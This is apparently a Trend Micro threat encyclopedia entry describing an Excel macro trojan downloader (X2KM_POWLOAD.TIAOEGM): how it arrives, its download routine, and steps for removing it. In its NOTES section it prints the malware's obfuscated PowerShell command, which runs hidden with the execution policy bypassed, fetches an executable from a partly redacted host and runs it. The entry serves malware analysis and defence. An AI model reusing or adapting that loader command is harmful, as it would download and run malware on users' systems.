X2KM_POWLOAD.TIAOEGM
TrojanDownloader:W97M/Adnel (Microsoft); VBA/TrojanDownloader.Agent.GZE trojan (NOD32)
Windows
Threat Type: Trojan
Destructiveness: No
Encrypted: No
In the wild: Yes
OVERVIEW
Spammed via email, Dropped by other malware, Downloaded from the Internet
This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
It does not have any propagation routine.
It does not have any backdoor routine.
It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.
TECHNICAL DETAILS
67,072 bytes
XLS
No
07 Mar 2018
Connects to URLs/IPs, Downloads files
Arrival Details
This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.
It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Propagation
This Trojan does not have any propagation routine.
Backdoor Routine
This Trojan does not have any backdoor routine.
Rootkit Capabilities
This Trojan does not have rootkit capabilities.
Download Routine
This Trojan connects to the following website(s) to download and execute a malicious file:
- http://{BLOCKED}rama.com/hope
It saves the files it downloads using the following names:
- %Desktop%\{Random numbers}.exe
(Note: %Desktop% is the desktop folder, where it usually is C:\Documents and Settings\{user name}\Desktop in Windows 2000, Windows Server 2003, and Windows XP (32- and 64-bit); C:\Users\{user name}\Desktop in Windows Vista (32- and 64-bit), Windows 7 (32- and 64-bit), Windows 8 (32- and 64-bit), Windows 8.1 (32- and 64-bit), Windows Server 2008, and Windows Server 2012.)
Trend Micro detects the dowloaded file as:
- TSPY_BEBLOH.YMNOV
It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.
NOTES:
This Trojan uses the following Powershell commands to download and execute a malicious file: pOWErSheLl -nopRoFi -WIn hiDdeN -NOLo -NOnInteRA -eXeCUTIoNp bYpass "$7d0mK6 = [TyPE](\"{1}{0}{3}{2}\" -f 'on','ENVIr','Nt','mE') ; do{&(\"{1}{0}\" -f'ep','sle') 33;${D`es} = $7d0mk6::gETfoLDERpATh(\"Desktop\");(&(\"{0}{1}{2}\" -f'Ne','w-','Object') (\"{0}{2}{1}{3}{5}{6}{4}\"-f'Sy','te','s','m.Ne','ent','t.Web','Cli')).dowNLoaDFilE.iNVoKE(\"http://{BLOCKED}rama.com/hope\",\"$Des\5307885.exe\")}while(!${?});&(\"{0}{2}{3}{1}\"-f 'St','ocess','art','-Pr') $Des\5307885.exe
The Microsoft Excel file contains the following fake details luring users to enable macro content:
SOLUTION
9.850
14.112.04
06 Mar 2018
14.113.00
07 Mar 2018
Step 1
Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.
Step 2
Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.
Step 3
Search and delete this file
- %Desktop%\{Random numbers}.exe
Step 4
Scan your computer with your Trend Micro product to delete files detected as X2KM_POWLOAD.TIAOEGM. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
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